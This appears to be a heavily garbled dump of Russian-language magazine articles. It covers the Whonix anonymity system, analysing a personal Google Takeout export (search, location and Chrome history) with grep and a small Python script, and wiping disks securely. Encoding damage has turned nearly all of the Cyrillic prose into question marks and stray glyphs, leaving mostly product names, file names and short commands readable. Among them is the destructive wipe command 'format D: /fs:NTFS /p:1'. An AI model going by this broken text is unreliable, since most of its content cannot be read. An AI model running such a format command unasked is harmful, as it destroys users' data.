???�??�????�?�????�??�??�??.�??�????,�??�??�??�????�??�????燣if?
erea� ???�???�?� ?� ????�?� ???�???�?� ??� ????�????� ??????� ???� ???�?� ??????�
????�?�??�??�???�??.�??�???�??�??�?�??�???�?,��???�???�??�????�
????��????????�???�????�???�??�???�??�??�???�?�??�???.
??�??�?�??�??�???
WHONIX
??�????,� ???� ?????�??� ???�????�??� ???�???�???� ?� ?????�?????� ????�?.
???�??�????�???��???�??????�??�????�??�????�(.ova)��??�???�?�???
???�???�????�??�??�??.
???�?????� ?????� ??????�???� Whonix?Gateway,� ?� ???�??�???� ?� Whonix
Workstation.� ???�?????� ???�???�??� ?????� ???� ???????� 31� ???� 2016� ????.
??�???�????�燱honix�?????�??�???�?????�?爑ser��?????燾hangeme.
???� ??????�??????� Whonix� ???�?� ???�???� ???� ???�???�?,� ???????�?????
??�??�???�????�??�?燰irtualBox��????�??�?�????�???,�??????�燝ateway.
???�?�????�??�?�?�??�???�?.�???�???�??�??????�?�??�?????.
??�????�???�??�???�?燱honix
????�?????� ???�???�?� ?????�???�?� ???� ??????� ???�???� ?� ???�???�?� ????�
???.�??�?????��??�???�?�??�???�???.
???�???�?燱honix?Gateway
???�?????�????�???�??�?�???�??�??�???�??�????燭or�燰PN,�???�??�?
???�????燚NS��???�??�??�??????�??????.
???�??�???�??�????�??�??�????�燱honix
??�??�??�??�??�???�?�?????�??�??�??�???�?????�?�?�????�??�?????�
???�?????,��?�??�?�??�??�??�??�????�???�??�??�燝ateway.�???�?
???�???�???�????�???�???�???�????�???�????.�??�??�?�???�?�?????�
????�????�???�????燚NS爈eak��??�??�??�??�???�??.
???�??�??�??�????�燭or
??�?� ????� ???�?????� ?????� Whonix� ????�???,� ???�?????� ??� ?????�??� ????
?????�??� ?� ??� ???????�?� ??� ???�?� ???????�??� ?� ???�??�??,� ???�???�?� ???
???�??�?��??�??�(???�??�???)�??�???�?.
???�??�??�??�????�?????�???�???�燱honix�?????�?�???�?????:�???�
????燭or,�??�??�??�?燭or燤essenger,燭ox�燫icochet,�??�????�??�???燤ozil?
la� Thunderbird� ?� TorBirdy� ?� ???�??�???� PGP,� ???????�??� ??????�?� ???�??
?????� SCP� (RCP� ?????� SSH)� ?� ???�?????� ???�???.� ???�??� ???�??� ?� ????�
??????�?�?????�???�???�?�????.
???���??�??�??�???�?,�????�????燱honix�??????�?�??�???�???????�
?????�???????�??�???�????�??�???.�?�??�?�????�???�?�????�??�??
?燱indows,爉acOS�??燣inux.
??�???�?�????�?燱honix
??�??� ??� ?????� ?????�??� ????�????� ???�???�?� ??????� Whonix� ?� Qubes� OS
??� ???????�??� ??????� ?� ???�??�??� ???�??�??.� ???� ????� Fedora� ??� ????�?
???�??�???,�?????�?????�????�????燲en.�??�??�??�???�???�?�???�???�
??� ?� Live????�??�???�??� ?� ??????� ??� ???�???�???�???� ?� ???????� ????�?.
????�?� ??�???�???�??�??�?????�???�??�??�???�???�????�?�???�????
�?????�.
??????
???�?�??�??�???�??�??�??�??�???�??????�????��???�?�????????????�
????�???�??�????�??�????�???�??�??�(Tails,燬ubgraph燨S),�?�?�???�??
????�??,�??��????�????�???,�?�????�??�??�????�??�(MOFO,燢odachi).
????�?�?�??�?????��??????�???�???�??�????�??�?????燣ive燨S.
?� ???�??� ?????� ??� ??????� ???�??�???�?,� ???�????�?� ???????� ????� ????�
????�??�???� ???� ????� ?????� ???� ?????.� ???� JonDo,� Sabayon� Linux,� ???�???�
??????�??�??� TENS,� Discreete燣inux,� IprediaOS��??�??�??�??.�??�?�???�
???,�??�??�??�??,�???�?�??�??�????�???�????�???�??�??,��???�???
???�??�???�????�?�?�????�???�?�??????.
WWW
????�??�??�????��???�????�????
???�???� ???????� ??� ??????�??????� VPN
??燤OFO燣inux
?????�??�??�?燬ubgraph燨S
???????????
???????
???!
?????�?????��??
??????燝OOGLE
?�??�?�??????�???
?????燭AKEOUT
??????�?????????
????????????
apismenny@gmail.com
???� ?????�??,� Google� ???�??� ????????� ???????�??� ???�??
?� ???�?� ????�?????�??,� ???� ???� ???�????�?� ???�???�?.
???� ???????� ???�???� ?� Google� ???�???� ????????,� ???????
???�???�?� ?????� ?� ????????� ???� ????� ???�??.� ????� ???�??
??????�???燭akeout,���???�????�???�??�??�???�??�??
???�???�??,��??????�?��?????�??.��???�?�?????�?
???�??�?,�??�?�???�?�?�???�???�?????�?.
???�???�????��??�???�??�????�???�??�???.�??�????,�?�?????�???�
????????� ??� ???�??� ???�??� ?� ???????�?� ????� ????� ???�??:� ???� ???�????�??
????�?�???�??�?,�?�???�?�??�???????�??�?????.�??,�????�???,�?
??????�??�???�???????�??�???�??�??�??�???��???�??�???�????�爍uan?
ti?ed� self� ?� ????� ?� ????� ???????� ?????�?????� ?� Google� ???�??.� ???� ????�?,
?�??????�?�?????,�????�?????�???�?????�???�???????�???????????
???????� ???�??�??,� ???�?� ????� Google� ???�??�?� ??� ???�??.� ???,� ????�?
?�????.
?� ??� ???�?????� ???�??�???� ???� ??????� ????�????�?� ???�??�???� Google,
???�????� ???�??� ??� ???� ?� ???�??� ????�??,� ?� ?????�?� ??� ???�????� ???�????
???????�?.� ???�????,� ??� ???�???,� ???� ???� ???????,� ??,� ??????�??,� Google
????�??�?� ?� ????� ???�??� ?????�?� ?� ???�??� ???� ??????� ????� ??� ?????,
?�?????�??,��?��???�??�??�?�??�????�????�????�??�??.�??�??�???�
???,�??��??�??�???�??�??,�??�?�???�?�???�???!�?)
????,� ???�?� ????????� ????� ????�?,� ???�?� ???�?� ?� ????�?� ??� ????�?� take?
out.google.com,� ???�?????� ?????�?� ???�????� ????�???�???� ????� ???�????
?� ?????�???� ??????�??� (???�????)� ???�?.� ???�?� ?� ???�????� ???�??� ?????,
????�?� ????�?� ?????� ????,� ??� ????� ????�?� ???� ?????� 24� ????.� ?� ????�?
?????燝oogle�??�?�???�??,�??�??�??�??�???�?��??�??�??,�??????�
??�,6�????��??�???�?�???�???�??.�??�??�???????�??�?�??�??�?
??�??�??�??,��??�??�??�??�?�?????�??�??�???�????��?????�??�??�?
?????�???.
??�?� ??� ??????� ??????� ?????� ???�??,� ??� ??????�??� ???�?????� ????�?,
???????� ?????� ????�???� ??� ???� ???�???.� ???�????,� ????� ???�?????� Photos,
YouTube�燝mail,��??�?燚rive,�???�?�??�??�???�?????�?????�??�????
???????�??,� ??� ?????� ????????�?� ???�?� ???�???�?� ???� ???????�??.� ????�?,
???�???�?�????,�??�??�???�??�????�???�?�?�??�???�??.
?????
???�??� ?� ?????� ??� ?????� ??????�???�??� ?????� ?� ????�??� ????�????� ????�
?????.� ???� ?????� ?� ???�?� Searches� ?� ???�???� ??� ???�?� ??� ???� ??????,
?�??�???� 2006?01?01燡anuary�06爐o燤arch�06.json.�???�????�??
????� ??� ???,� ??� ???�???,� ???� ???????�??� ?� ???�??� ???�???� ???�???� ???�?
??�???�????:�??�???��??�???燯nix��???�??�???�?.
???� ??????�?� ???�???� ???�?� ??????�?????� ????????????� ??�??�????
???�?????,� ?� ????� ???�?� ?????� ????�????�?????� ???�???,� ??� ???� ????�???
?????�???�??�?燩ython�(??????�??�?牜???�?粻??�???�??�????):
datetime.datetime.fromtimestamp(int("?????")).strftime('%d?%m%?%Y�%H:
%M:%S')
??�??�?????�??�????��???�????�???�?????�?�????�??????�?.�?�?
??????�???�??�???�?�???�???�???�????�??�??�???�????�??�?????
grep.� ???�???�?� ???�??� ???�?????� ?� JSON,� ??� ???�???� ???�?� ?????� ?????�
?????�?????��???�?���??�??�?�?????�????�??�???爂ron,��??????� ???�
???�?�????��??�???燱WW.
??�?��???�???�??�??爂ron,�?????�???????�?????��????�???:
$爁or燜爄n�*;燿o燾at�"${F}"爘爂ron爘爂rep�"xakep";燿one
?�??�???�??�???�??�???�?�??�??爔akep�?�??�??�?.�????�??�???�
????�?�??�?�??�????????�?�??�????,�??�?牜???�???�.�?)�??�??�?????�
???� ????:� ????� ????�???� ???�??� @,� ??� ??� ???�???� ???� ???�????� ????�?
?�???�???燭witter,�??????�?�??�????�????燝oogle.
??�???� ???�????,� ???� ?????� ???� ????�?� ??� ???�?????� ?� ?????,� ??� ??� ??
???�???�????��??�?燤y燗ctivity.
WWW
????� ?� ???,� ???� ????�????�?????� ????�??� ????�
?????�燛xcel��????�??�???�?????
????
???�????,��???�??�?????�???�???�??�?�?�??�???�?????營CQ��?�?
?????� ???�???�?????� ?� ???� ???� ?� ???� ???�??????� ???????�??� ?????� Google
Talk�燞angouts.�??�???�?�????�?,�?,��?????�??,�?????�??????�?��??
????,� ?� ???????� ???� ???�????� ??� Takeout,� ????�????�?� ?????�????� (?� ?????�
???,�???�?,�?�????營CQ).
????�????�?????�???�???�??�????�???�??�???燡SON�???�??�?�???�
?????�??�??�????��??�??�????��??�?燞angouts.��??�????�?�??????
????�??,��??�燡SON�?�??�??�??????�??�???�????�??�????�?�?????�
??� ????� ?????�??� ?????� ???????�??.� ??� ???????,� ????�??� ?????�??� ????� ?
?�??,�??�???�?�??�?�????�???�?�????營D�???�?????�?.
??�??�??,� ?????� ????�??,� ???� ??� ?????� ???�???,� ?� ???� ????????� ???
??????� ?� ????�???� ????�?� ?????.� ??� ????�??� ????� ???�?� ???�???� ????????,
?????��???�????�??,�?????.
$爂ron燞angouts.json爘爂rep�'.text'
???�???�?�???�???�?????�???????.
GOOGLE+
???� ???�???�???�?� ????� ?????� ????????� ?� ???� ???�?� ??� ????�??�??� ????
Google+,� ???????� ????�?????�?� ???�????�?� ????�??�??� ????�???.� ????� ??,
?????�?,�???�?�??�??????�?�???�????�?.
???�??� ??????�?� ??� ???� ???�?:� Google+� Stream,� Circles� ?� Pages.� ?????
???�????��??�?�????�?.
Circles� ?� ???� ???�????� ?????,� ????�???�??�??� ??� �??�??粻 ??� Google
Plus.�??�??�爒Card�(VCF)��??�??????�???,�??????�???�???��???
?????�???.� ???�?� ???� ???????� ?????� ?????� ???????�?????� ?� ?????
????????�??�?.
???�?燩ages�????�??�???�??�???��??�??�??,�???��???�??�???�???�
??????� ????�???.� ??� ??????� ????�??�???� ???� ???,� ???�?� ???� ????�??
?�??????�???�???.
???�?� ?� ???�??� Google+� ???�?� ???????� ???�?� Profile.� ?� ???� ?????�????
JSON� ?� ????�?� ????� ???� ???�??,� ???� ??� ?????�??� ?� ????� ?� ????� ???�???.
????????�???�??�??�???�????��????�????� urls�(????�?�?�??�??�???�
????� ?� ???�????)� ?� organizations� (???�?� ??????� ?� ??????).� ?????�??
??????:�??�??,�??��???��??�???�?�??�??�??�???,�????�??�???�??�?
????� "ageRange":爗"min":�},� ???�????� ??????�?� Google,� ?????�?,� ?????�
?????�????�??????�?.
??�??� ????�??� ??� ???�???� ?� ???�?� Google+� Stream.� ?????� ?� ?????�??
??????�??燞TML�??�???�??�???�??�?��??�????�????��???�?????�??
???�????�??.� ???�?� ?????�???� ?� ?????�???�???????,� ?� ???�?� ?????� ?????
??燩ython�燘eautifulSoup�??�???,��??�???,�???�?�??�??�??�??.�???????
???�?�????�??�??�?��???�???爀ntry?title�爀ntry?content.
?� ??????�??,� ???�????� ??� ???�??� ??� ???????�?� ????�???�??�?� ?� ???� ???
?�???�???�???�???�?�??�??燝oogle,�??????�??��?�?????�?�??�????�
????�??.�?????�????�?!
?????
???�???�???�??��??�??�?????�??�??�??�??�??.�??�??��???�???�
???�?� MyMaps.�??�??�??�?,�??�?????�????�燝oogle燤aps,��?�????�
??�??�?燢MZ�?�??�???.
KMZ��??�??�??燝oogle燛arth,�??????�??�????�???�?���??�??�???�
?????�????�??�??�???�???.�?��?�???�??燴IP,��??????�????�???燢ML,
????�???�?�????�??燲ML.�???�??�??�?�????�??�?�???????�??�????
??�??�????,�?????�??�???�?????�?�??�????� GeoConverter� ?� ????�?????�
??????�??,�??�????,�燝eoJSON,�???????��??????�???�?�??�???.
???�?� Maps�(your爌laces)�????�??�???�???�� Saved燩laces.json.
?�??�??�???�??�???�??�????�?燝oogle燤aps��???�??�??�??�??????�
???�??� ?????�???.� ???�??� ??� ???�????� ?� ???� ???�???� ???�???� features,
?� ??????�?� ????� ??????�??,� ????� ?????�????,� ????� ????�????� ?� ????�?
??� Google� Maps.� ?� ???� ???????�?????� ?????� ????� ??????�?� ??????�???:
???�???爂eometry��??�????� coordinates�??�??� Location��?????� Lat?
itude� ?� Longitude,� ??� ???� ??� (???�?� ?????� ?????� ??� ????????)� ?????
????????�?,�??�????,� Geo燙oordinates.��????,�??�??????�?????�??
???�??�??�????�?�???�??�?????,�?�??�?�?�???��??�???.
??�????,� ?????� ??????�???�??� ???�?� ?� ???� Location� History� ?� ????
??� ????� ????�???� ???�?� ??????�????� ?� ??????�??� ??????�??� ?� ???�???
??�??�??�?.��???�??�??�??�?????�?�5�????.
????� ?????�?� ?????� ????�?,� ???�??�?� ?� ????�????� ?� ???�???� ????�???.
???�???????�??�??�?�????�??,�???�?????��???:�??�?��??�???燯nix,
??????,� ???�???� ?� ???�????� ????�???�??.� ????�?� ?� ???� ?????�???�?� (?????�
????,� ???�?� ??� ???�?????� ????�?????)� ???�????�??� ???�????� ?� ???�????,
??????��??�??��??�????�???�???�??�?????.
???� ??????� ?� ????� ???�??,� ???�?� ???� ???�?????� ??� ???????� ???�????,
??????� ????�??????�?� ?� ???� ???�???� ??� Python� ???� ??� R.� ????� ?� ???�?????�
????�??�??�???�??�?????�??�????�??�??�燣ocation燞istory燰isualizer燩ro
(???�?��??�????),��??�?�???????�???�??�???�??�?� They� Know� Where
You?ve� Been� (????� ??� ???�??� ??� ??� ???�????�?� ??????�?� ???�?� ???�???
??�??�??�???�???�?).
??�???� ???� ???�??� Google� ?????� ????� ???� ???� ???�????�??.� ?� Google� Maps
???�???�???� ???�???� Timeline,� ???� ?????�?????� ???�??� ???�?� ??????�?????
??� ????,� ?� ?????,� ??????� ?????� ???�??,� ???????� ????�???� ?????� Takeout,
????� ???�??� ???�???�?.� Google,� ???�????,� ????�???�?� ???�????� ????
?� ??????�??,� ???????� ??� ???????,� ?� ????�????� ???�???�?� ????�???????
?????�??� (?� ?????� ???�?� ??????,� ???�????,� ??� ???????�?� ??� ?????�????�?,
??�?????�??�?�?????�???).
CHROME
???�???�?�???�??�??�??�?,�??????�????�??�??�???????�????燝oogle
Chrome�(?�????�???,��?�??��????�?�???�?�???�??�??�??!).�??�??
?�??�????.
? Bookmarks.html� ?� ?????�????� ???�????� ?� ????� ????�?� HTML.� ????�
???????� ???� ??� ???�????� ???�?� ?� ????� ???�??� ???�??� ??� a� href� ?� ????
??�??�??�?�????�?????爃3.�??�??�??�??�????�??�???�??�?�?????�
?????��??�???燯nix.
? Dictionary.csv� ?� ??� ????� ???????�?,� ?????� ???�??� ????� ?????�????
???�??�??�?�??????�??,�??????��???�??.
? Extensions.json��??�??�?�???�??�?????�??�?????�?.
? SearchEngines.json��??�??��????�?????�??�???�??????.�???�???
???�????????� ??????�??�?� ???�???� ???�????�??� ????�????� ???�????
?� ???�??� ????�??????,� ????� ????� ???� ???� ???�????�?.� ?� ??????�??� ????�
????��???�?.
? SyncSettings.json��??�???�?燙hrome.
? Autofill.json���?????�????�??�??�???�??�??�??�???�???�??�???
?????�????�???,�?��???�???�?�??�??�??�??.�?????,�???�??????�
???�?,�??�??�??�??�?�???????�?�?????燙hrome.
? BrowserHistory.json� ?� ???�??� ??????,� ?� ???�??� ???�???� ?� ????� ???�?
????????� ???�???� ???�??� ???????�??:� ???�?� ??� ?� ???�??� ???�??� ????
???�??,� ???????� ?� ???�??????� ?????�??� ?� Chrome!� ????�?� ????� ???�?
??????�???�??:� ?� ????� ???�?� ???????�???� ????� ?????�??????� ???�??,
???????� ?� ?????� ???????� ?� ??????�??� Chrome,� ???�?� ???�??� ???� ????�
???????.� ??� ???�??�?� ???� ????� ???�?????�??� ???�??� ???�??� ?� ????�???
?????�?燬ync燛verything.�???燭akeout?
??�?��??�?????�??�???�???�??????�???�?,�?�?��??�?????�??�???
???�??�???�?????� ????�??� ???�?� ??????�????� ??� ???????�?.� Google� ????�
????�?:�??�?????�?�(??�???�?�燣INK�??�??�????�燭YPED),�?????�??
????�???,燯RL,營D�??�???�(?????�?,�??�?�???�???�???�??�???�?�??????�
??��???�???)��??�?��??�???燯nix.
MY燗CTIVITY
???,�??????,�???�?�????�???�??�??�????,�??�????�???�????�????�
???�??,� ???� ????�??� ????�?.� ??� ?????�????� ????� ?????� ??� ???�??� ?� ???,
???� ????�?� Google� ???�??� ??� ????�?????�???.� ????�???� ??� ???�??,� ??
??????�??�??�??�???�??�???,�??�?�?????�???�??�??:
? ??�????�?�???,�???�???�??�??�燝oogle燗dwords?
? ???�?,�????�??�燘ooks?
? ????,�?�??????�?�????�????燙hrome?
? ??�???�????�??燗PI�(???�?燚evelopers)?
? ??�????�?,�????�??�燜inance?
? ???�??�燝oggles�(?????�??�????�?�???�?)?
? ????�???�???�???�燝oogle燩lay燬tore?
? ??�??????��????�?�(???�?燞elp)?
? ???�??�營mage燬earch��??????�?�???�??
? ????�???�??�???�?�??�?�(Maps)?
? ??�??�燝oogle燦ews��??�??�?????�?�??�?????????�??
? ??�???�??�??�??��??????�?�???�?�?�?????�????�(???�?燬earch)?
? ??�??�?????�??�????�?��?????�?�(???�?燬hopping)?
? ????�???�???�??�燝oogle燭rips?
? ??�??�????��??????�?�?????�????�(Video燬earch)?
? ??�???�??�????�(???�?燰oice燼nd燗udio)?
? ??�???�??�??�??��???�???�??????�?燳ouTube.
??�???,� ???� ????�??� ???�??� Chrome� ?� ????� ????� ?????� ??� ???????�??,� ???� ?
?�??�?�?????燙hrome,��??�??燬hopping�???�?�?????�?�????�?:�?�???�
???�???� ???� Google� ????� ?????�??� ????� ???�?????� ???????.� ???� ??� ?????
???�??� ???????�??� ?????� ???�?????�??.� ???�??�?� ????�?� ???�?
MP3� ?� ???�?� Voice� and� Audio:� ??� ??????� ???�?????� ????�???�??� ?????,
???????�??�???�??�??�?�?�????牜????,�???...�.
WWW
???� ??� ??� ???????�??� ??� ??????� ????�?????�
????� ?� ????�??�???� ??� ???�?� myactivity.google.?
com.� ???� ??� ???�?� ???�???� ??????�??� ??????
?� ?????�???� ?????�???�??� ??????�??� ?????????�
???.
???� ????� ???�??,� ?� ???????� ???� ???� ???�???�???,� ???????�?� ??????� ???�?
???�???.� ???� ???�?� HTML� ?� ??� ?????� ???�???�????� ???�?????� ?� 150?
???????�???� ???�??� Material� Design� ?� ???�??� ???�?.� ?� ??� ???�??� ????
???????� ???� ?????� ?????�??� ??� Python,� ???????� ???�?� ????????� ?� ?????
??�????��????�???.
import爎e
text�爋pen('MyActivity.html',�'r').read()
result�爎e.findall(r'body?1">(.+?)</div>',爐ext)
for爎爄n爎esult:
牋爁or爏爄n爎.split('>'):
牋牋牋爌rint爏.split('<')[0]
??�?????�???????�??�??�??�????,�??????�??�?,�??�????,�?????�???
??� ????� grep� ???� ???�??�???� ?????�?????�???� ????�?.� ?� ?????,� ????????
????�??�??????�??�?.
?????????�???????
???�????� ???�?????� ???�??� ???????� ?????�??� ???�??�??� ??� ??� ?????,
??�????�?�??�?�???�??�?�?�???????�?�??�????.
+1� ?� HTML� ??� ????�??� ????�??,� ???????� ??� ???�??????� ???�??� ?????
Google+.��???�??�??��?????�??�?????�???�???.
Bookmarks� ?� ??� ??� ?????,� ??� ???� ???�????.� ?� ????� ??� ????�???????
???�????�????�??�?????�????�?????�?�??�????�?燝oogle燤aps��?�???
????�????,� ??????�?� ???�?� ????�???� ???�?� ??� ???�?.� ???�??� ?� HTML
??�???�???�?燝oogle燤aps.�?????�??��????�???,�??�?�????�?????�?
????????�??�?�????�????���?????�??�??�???��??????�?????.�??�??
???�??,�???�??,�??�?????�??�??�?????�?��??�?� Maps�(your爌laces),
?��????�???�??�???.
Calendar� ?� ????�???????�???� ?????�???� ??� Google� Calendar� ?� ???�???
iCalendar� (.ics),� ???????� ???�????�???�?� ???�???� ????�????�????????�
??????� (?� ???� ???�?� Outlook,� Thunderbird� ?� ??????????� Calendar).� ???� ???� ??
???�?�??????�?????�??�????.
Photos.� ????� ??� ???????� ????�????�?� Photos,� ??� ?� ????� ???�?� ?????
????????� ???�??� ???�?????�??� ?� ??� ????�?� ??� ???�??� ????,� ??� ???????
???�????�?� ????� ????� ???�??.� ???????� ???????� ???�???�???� ?� ???,� ???� ???
?????�????� ???�??�?� ?� ???�???�???� ?� ??� ????????� ???�???,� ????� ????
???�???????燫AW.��(???�?????�??�?)�???�???�?�?????�????�??�????�
???� ???�??� Photos,� ???� ???�?� ??� ???�???�??�?� ????�???�??� ??� ?????�??
????�??.��??�???�???�?�??�???�???燡SON��??????�???.
YouTube.� ?� ???�??� ???�???� ??� ?????� ???�???� ???� ??????,� ???????� ????�
???????� ???�????� ??� YouTube.� ???� ??,� ???� ?� ?????�????,� ?� ?� ??� ????????
???�????.� ?� ?????�?,� ?� ???�???� ???�???�???� JSON� ?� ???????�???.� ???�?
????�???????�?,�??�????��??�???燨PML,�???�??�???�?????��???�??
?� HTML� (???�??� ????,� ???� ??� ??????� ?� My� Activity)� ?� ????� ???�????�??� ?
????�燞TML.
Classic燬ites��??�?,�??�?????�??�?????�?�??�??�?�??????�???
???�???燝oogle燬ites�(??????�???�??�??�?爊arod.ru�燱ikia).��??�????�???�
??� ???�??� ????� ???�????� ???�??,� ???�?� ????� ??� ???�??� ???�??� ??????.� ???
??�????�??�?�??�??�????�??�?��?????�???�???�????燭akeout.�?????�
???�???� ????�?� ??????�?� ??????�?,� ?� ???� ???�????� ????�???� ??� ???�???
Google.��?????�???�??�??�?�?�??�???????��???�?�??????�??�?�???�
????�???�???�???�????�???燡S��??�??�??�???�?燝oogle.
Drive� ?� ???� ???????�?� ??� Google� Drive.� ?????� ??????�???�???� ???� DOCX,
???�???� ?� XLSX,� ???�????�??� ?� ???� HTML� ?� ????� ??� ???�???�??,� ???
?�???????.�???�?,�??�??�????�??�??�???�???�??�?�??????�??��?????�
????�????�???�??�???�???.
Google� Pay.� ???????�??� ??� ???�?� ???�???� ???�?????� ??� ???� ???�?.
Google燩ay燬end��??�??�???�?????,�??�???�??�??�????燝oogle燩ay�(?
????� ?� ???�??� ????� CSV),� ?� Google� Pay� rewards,� gift� cards,� offers� (?
????��??�??燩DF).
Mail��??�??�????�????燝mail.��??�?�????�??�?�???�???�� All�
mail營ncluding燬pam燼nd燭rash.mbox.�??�?????�??�??????�??�?�???:
???� ???????� ???�?,� ????�??� ????� ?� ?????.� ???�??� ?� Mbox,� ??� ????,� ??� ????,
????????� ???�??�??� ????,� ???� ???�??� ????� ???� ????�?� ?� ???????�???.� ???
???�????� ???????�?????� ?� ????�???�??� ???�??????,� ??� ?????�?� ???�?
?????�??�??�???�?�????�???�???�?�燝mail��?營MAP�???????�???�?�???�
???� ???�?.� Takeout� ???� ???�????�?� ???�?� ???� ?� ???� ???�??,� ????� ??� ????????
???�???� ????�?� ???� ?????� ?????� ?� ???� ?� ????� ????�?� ?� ???�?????
??�??????.
Google� My� Business� ?� ?????� ?� ????� ???�??� ????�?� ??????� ????�???�
????,�???�?燡SON�??�???�?�?�???�???�??:�????�???�???,�??��??????
?�????�?爌ersonal.
Contacts��???????�??�?�?燝mail.�??�????�??�???�?�??�?�?�????�
???,� ????� ????� ???�?� All� Contacts,� ???????� ???�??�???� (?� ???�???�?)� ??????�
?????� ??????�??.� ????�?� ???�??� ???�?� ?� ????� vCard� ?� ???�????� ?� ?????�
?????.�????�??�?????��??�??�????�???�???�???�??????,��??�???,
?� ???????� ??� ???�?????� ?� Google.� ??� ????� ????� ??????� ?????�??� ????� ????
?�??�??��????,�??�?????�??�??�?�????�?�?�??�??,�?�?�??�???�?.
G� Suite� Marketplace� ?� ???�???� ???� ???�???�??� Google,� ???????� ??
???�?????��??�?????�??????.��?�??�?????,�????�?��???�???�???
????�爎eadme.
Tasks��??�??�?????�??��??�????燝oogle�????�??�?�??�??,�????�
?????�??�??� ???� ???????� ????�??� ???.� ?????�???� ???� ???�?,� ???�????,
?燝mail�燙alendar.�????�?�?�?????�??�?�??牜??????�?粻?�???�?????�?
???�????�????�???�燡SON.
Google燩lay燘ooks��??�??,�??��???�??�?�????�??�?????�?��???�
????�??� ????,� ?� ???� ????� ????�????�?:� ?????�?� ???�??� ???�??� ????????
?????�???,�??�?????�燩lay燘ooks?�????.�??,�????�?.�???�?�??�?��???�
???�?�??�?????�??�燞TML��??�???�?�??�?,�??�??�???�?,�??�????,
???�?�??�?�???�????�?�??�?????�??,�???�?????營D燩lay燘ooks��???�??.
????�?,� ?????�?,� ???�?????�??,� ??� ????� ????� ???�?,� ??� ???� ???????� ???�?
????????�?�??�??,�???�??�????��??�?�???�??�?�??�??�??��???�???
header�燼uthor.
??�???�?� ???� ???�???�?� ???�??�??,� ??� ???????� ?� ????� ????�?� ??????
??�???�????�???,�??��??�????�?�?�???�????�?.�??燘logger,燙lassroom,
Fit,� Play� Music,� Groups,� Handsfree,� Hangouts� on� Air,� Keep,� Search� Contributions
?� Voice.� ???????,� ???????�??� ???�????� ?� ???� Keep,� ??� ???� ?� ????� ???????�
?????�?�?????�??�?�??????�??�??�??�??�??�??.
??????
??�???�???,� ???� ?????� ???�??� ????�?,� ??????� ???�?,� ?????�????
?� ???????�??,� ?� ???� Searches,� Location� History,� BrowserHistory.json� ??� ???�?
Chrome�燤y燗ctivity.
???�?�?��??�?�??�???,�??�????燭akeout�???�?� ???�??�??�??�???
????�?.�?????�??�?�??�??????�??�??�??�???,�??�??�??�??????�????�
??????:�??�?�??�??燝oogle燫eader,�?�???�?燱ave.�???燝oogle,���???�
???�???,�??�??�??�??�??�???�?????.�??�??�?�???�?��????�??�???�
????�?.
?� ???�????� Takeout� ???� ???????� ???�?� ???�?� ?� ???�??� ???�???.� ???????�
????�??�??�?�??�???�???燙hrome��??�??�????,�?�???��????�??�???�
???� ????.� ???�????,� ????�???� ???� ?????�?????� ????�????� ????????�??
?????�??� ??� ????�?� ????�????� ???�???,� ??� ?� ???�??�?� ?� ???�?,� ????�?� ??� ??
?????.��??�?燤y燗ctivity�?????�?????�?�???�??.
??�???,�??�????�?�??�??�?????�?,�??�????�??燝oogle�??�?�??�???
???�???:� ???�?� ???�?� ???�????�???� ???�???� ???�??� ?????�?� ???�??� ??� ?????�
?????�??�????�????�??�??��?????�??�???�?????�?�?�??�?.��??????�
????� Takeout� ???????� ??� ????�?� ???� ????,� ???�?� ???�???� ????� ?????�?
?�?????�?��???,�?��??�????�??�??�??�???�?.
???????????
????????
?????
????�?????
???????�?�????????
??????????????�???????
�????????�
aoleg@voicecallcentral.com
???�?????????�?????�?????
?�???????????
????�?????�??�?��???????�??�?��???�?�????�??????�
???�?????� ????�??.� ??� ??� ?????�?� ??????�??� ?� ???,
???� ?????�??????�?� ???�???� ???????�??� ?� ???�???�?????
??????�??� ?� ???� ???�???,� ???�?� ??� ??????�??�?� ???�???,
????????�??�??�????�??�?????�???,�??????�??�?????�
????.
???�?�?????�????:��??�??�????�?????�??�??�???�??�????�??????�??
????�?�??�???�???.�????�???,�???�???�?��??�???�??�????�??????�??
???�??.��???�?????�??牜????�??�??�??粻?��??�????�???�??�????�?
????�?????� ?� ???� ???�??????� ?� ????�?� ???�????� (??????�???)� ???�??
?�??�??�????�?????�??�??�?�?????�?�???�????��?????�????.�????�?
???�??��??�?????�??�??.
???�?????????�?????????�?�??????�????
?�???�??�???�??�??�????牜???�???�???粻??�????�???????�???�?????�
???� ??????�???� ?� ???�????�???� ????�?????� ?� ???�???�???� ????�??�???�
?????�?�????�???�??�?????????.�??????�??,�??????�??�?�???�???,�??
?�???�???�?�??�?????�?�????�?,�??�?�??�??�????�?????�???�?.
???�???�????� ???�??� ???�????� ???�??� ?� ???�?????� ???�??� ?� ????�
??????�????.� ?� ??????�??,� ???� ??????�??????� Windows� ????� ???�??� ????�
??????�????� ???�?� ?????� ???�??�?� ?� ???�??� ?� ?� ???�???�?� ?????�???�
???��?????�????.
???,�???�?????�???�?�?�?燱indows燲P�(???�??�????�??�??�??�??
Windows),�??�??�??�??�?????�????�??�?�??�???�??�?�?�??????�???
?�??�??�??�??.�???�?�??�?�?�??�?�???�??�???�??�????�??�??�???�
?????� ?� ???????� ???�?????�???�???� ???�??� ???�??.� ?????�?,� ????� ??
??????�??�?� ???�?????� ???�??� ?????�???,� ??????�???� ???� ???????�???
Windows� XP,� ???�??????� ????� ?� ?????�???� ????�?,� ?????� ????????�
/p:<?????�???????>.� ?� ????� ???�??� ?????�?� format� ??????�????� ??????�
?????� ???�?� ??????� ?????�?� ???,� ?????�?� ??????� ???????�??� <?????�
????????>.�??�??:
$爁ormat燚:�/fs:NTFS�/p:1
??�????� ?� Windows� Vista� ???�????�???� Microsoft� ????�???� ??????� ??????
?????�?�??�???�??�?????�????.�?????�??�?????�????�??�?�??�????�
????�?� ??�???�???�???� ???�??� ??????,� ?� ????????� /p� ???�????�?� ????�???�
???.
????�???�?,� ???� ????�???� ????�?????�?,� ??� ????�????�?� ???????�?,
??�??�??��????�???�???.�???�?????�?�?,�????�???�???�??�????�??
???????�?????� ???�??�??� ???�??,� ?????� ?????�???� ?� ?????�??�??�??� ????
??????�????� ?????� ???????� (????�?,� ?????� ???????),� ??????�?� ??� ???�?????�
???� ???�???�????� ???�?� ???�???????� ???�??�?????� ???�??,� ???�???�??
????�??�??� ?????�????�????� ???????.� ?????�????�??� ????� ??????� ?� ???,
???�?� ????�?????� ???�?� ???????�??,� ???????� ????� ?????� ??????�?
??� ?????�?,� ???�???�??� ???�??� ????�??�??� ?????�????�????� (????�???
??????� ?� ???�??� ???�???� ?????�????�????,� ???�?� ???�?????� ????�???� ????�
???� ??� ???�????�??� ???�?� ?????�???).� ?????� ????�????� ???????
